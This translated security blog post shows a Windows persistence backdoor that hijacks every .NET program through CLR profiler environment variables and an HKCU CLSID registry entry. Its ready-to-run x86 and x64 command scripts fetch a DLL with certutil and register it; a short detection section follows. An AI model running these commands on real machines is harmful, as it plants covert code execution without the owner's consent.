Use CLR to maintain persistence

Onedaysec
5 min read
0 views
docx image 1770017286409 0 f12107ca36

0x00 Introduction

---

In the previous article 'Use AppDomainManager to maintain persistence', a passive backdoor triggering mechanism implemented through AppDomainManager was introduced, demonstrating how to hijack the system .Net program powershell_ise.exe, but with the prerequisite of obtaining administrator privileges.

This time, we will go a step further to introduce a backdoor that does not require administrator privileges and can hijack all .Net programs.

0x01 Introduction

---

This article will cover the following:

  • Usage of CLR
  • Backdoor development approach
  • POC writing
  • Backdoor detection

0x02 Usage of CLR

---

CLR:

Common Language Runtime (CLR) is a runtime environment that can be used by multiple programming languages.

CLR is the primary execution engine of the .NET Framework, one of its roles is to monitor program execution:

  • Programs running under CLR supervision are considered 'managed' code.
  • Applications or components that run directly on bare metal without CLR are considered 'unmanaged' code.

Usage of CLR:

Test system: Win8 x86

1. Start cmd

Enter the following code:

SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

Note:

{11111111-1111-1111-1111-111111111111} represents CLSID

It can be set to any value, as long as it does not conflict with commonly used system CLSIDs.

2. Test dll

Use a pop-up dll, download address:

https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

For DLL development process, refer to:

https://3gstudent.github.io/Use-Office-to-maintain-persistence

Direct download can be achieved in cmd with the following code:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

Operation as shown in the figure below

2. Test dll — technical illustration 1

Note:

'delete' is to clear the cache of the downloaded file

For more details on leveraging certutil.exe for file downloads, refer to the article:

"Certutil.exe in Penetration Testing"

3、Operate the Registry

Registry path: HKEY_CURRENT_USER\Software\Classes\CLSID\

Create a new subkey {11111111-1111-1111-1111-111111111111}, corresponding to the CLSID entered in cmd in step 1

Create new subkey InProcServer32

Create new string value REG_SZ ThreadingModel: Apartment

Change default path to the path of msg.dll

Modified registry as shown in the figure below

3、Operate the Registry — technical illustration 2

Corresponding cmd code is as follows:

SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

4. Start .NET program in current cmd

For example, powershell.exe, loads msg.dll on startup, pops up a dialog

Operation as shown in the figure below

4. Start .NET program in current cmd — technical illustration 3

Note:

Executing powershell.exe from other cmd will not load msg.dll

Reason:

SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

Only effective for the current cmd, can be checked via the cmd command "set"

Of course, executing other .NET programs will also load msg.dll

Test as shown in the figure below

4. Start .NET program in current cmd — technical illustration 4

0x03 Backdoor Development Ideas

---

From the above tests, it is concluded that using CLR can hijack the startup of all .NET programs, but only works for the current cmd

Can it be applied globally?

Naturally, modifying environment variables comes to mind

Typically, modifying environment variables is done through the control panel, as shown in the figure below

0x03 Backdoor Development Ideas — technical illustration 5

Can environment variables be modified via the command line?

Naturally thought of WMI

Modify system variables (requires administrator privileges):

wmic ENVIRONMENT create name="1",username="",VariableValue="1"

Modify current user variables (current user privileges):

wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"

Note:

Modifying environment variables via WMI requires a system restart or logout/login to take effect

Next, we need to test whether modifying only the current user privileges can achieve a global effect. The answer is affirmative.

Add environment variables for the current user:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"

wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"

After restarting, the modification was successful, as shown in the figure below

0x03 Backdoor Development Ideas — technical illustration 6

Now directly start the .Net program, a dialog box pops up, successfully loading msg.dll

As shown in the figure below

0x03 Backdoor Development Ideas — technical illustration 7

At this point, the backdoor concept verification is successful

0x04 POC Writing

---

For 32-bit operating systems, refer to the code in 0x03. The x86 POC is as follows:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

For corresponding 64-bit systems, attention must be paid to redirection issues, as the registry has both 32-bit and 64-bit locations

Note:

For more details on redirection in 64-bit systems, refer to the article "Issues to Note Regarding Redirection When 32-bit Programs Run on 64-bit Systems"

In the context of this article, 32-bit requires a 32-bit DLL, and 64-bit requires a 64-bit DLL.

Therefore, a 64-bit DLL needs to be prepared. The download link is as follows:

https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll

The process will not be elaborated further. The 64-bit POC is as follows:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

Capable of hijacking both 32-bit and 64-bit .Net programs separately, complete test as shown in the figure below

0x04 POC Writing — technical illustration 8

Note:

More code details can be found on GitHub at the following address:

An open-source project

0x05 Backdoor Detection

---

Based on the exploitation method, the detection approach is as follows:

  • Check environment variables COR_ENABLE_PROFILING and COR_PROFILER
  • Check registry key value HKEY_CURRENT_USER\Software\Classes\CLSID\

0x06 Summary

---

This article introduces a backdoor that hijacks .Net programs via CLR, characterized by requiring no administrator privileges and being able to hijack all .Net programs. More importantly, the system defaults to calling .Net programs, causing the backdoor to trigger automatically.

0x07 Supplement (20171023)

Stefan Kanthak discovered this exploitation method and disclosed it earlier than I did. The address is as follows:

http://seclists.org/fulldisclosure/2017/Jul/11

Moreover, he also achieved UAC bypass using CLR (I later learned this approach from clem@clavoillotte's blog). I have researched this method and written a study summary, with the address as follows:

《Use CLR to bypass UAC》

Related Questions & Answers

Can the CLR backdoor be triggered automatically without user interaction, and how does it compare to AppDomainManager persistence?

Yes, because the system frequently launches .NET programs (e.g., powershell.exe, managed COM components) as part of normal operation, so the backdoor activates automatically. Unlike the [AppDomainManager technique](/news/use-appdomainmanager-to-maintain-persistence), which requires admin privileges and targets a specific program, CLR persistence works without admin rights and hijacks all .NET applications.

Why does the CLR persistence technique require separate DLLs for 32-bit and 64-bit systems, and how does the POC handle this?

The CLR profiler runs in the same bitness as the .NET process, so a 32-bit DLL is needed for 32-bit processes and a 64-bit DLL for 64-bit processes. The POC registers both under `HKCU\Software\Classes\CLSID\{CLSID}\InProcServer32` (for 64-bit processes) and under the WoW6432Node path (for 32-bit processes), ensuring that both types of .NET programs are hijacked. This redirection issue is common in 64-bit environments.

What are the registry and environment variable artifacts to check for CLR-based backdoor detection?

Detection should check environment variables `COR_ENABLE_PROFILING` and `COR_PROFILER`, and the registry key `HKEY_CURRENT_USER\Software\Classes\CLSID\` for any CLSID subkey with an `InProcServer32` value pointing to an unexpected DLL. These are the same persistence mechanisms used by the attack, as described in the article's detection section.

How does the CLR backdoor technique hijack .NET programs without requiring administrator privileges?

The technique sets two environment variables (`COR_ENABLE_PROFILING=1` and `COR_PROFILER` with a specific CLSID) for the current user via `wmic ENVIRONMENT`, and creates a registry key under `HKEY_CURRENT_USER\Software\Classes\CLSID\{CLSID}\InProcServer32` pointing to a malicious DLL. Since these changes are per-user, no admin rights are needed, and any .NET program launched (like powershell.exe) will load the attacker's DLL. For more details, see [Use CLR to maintain persistence](/news/use-clr-to-maintain-persistence).

Continue Reading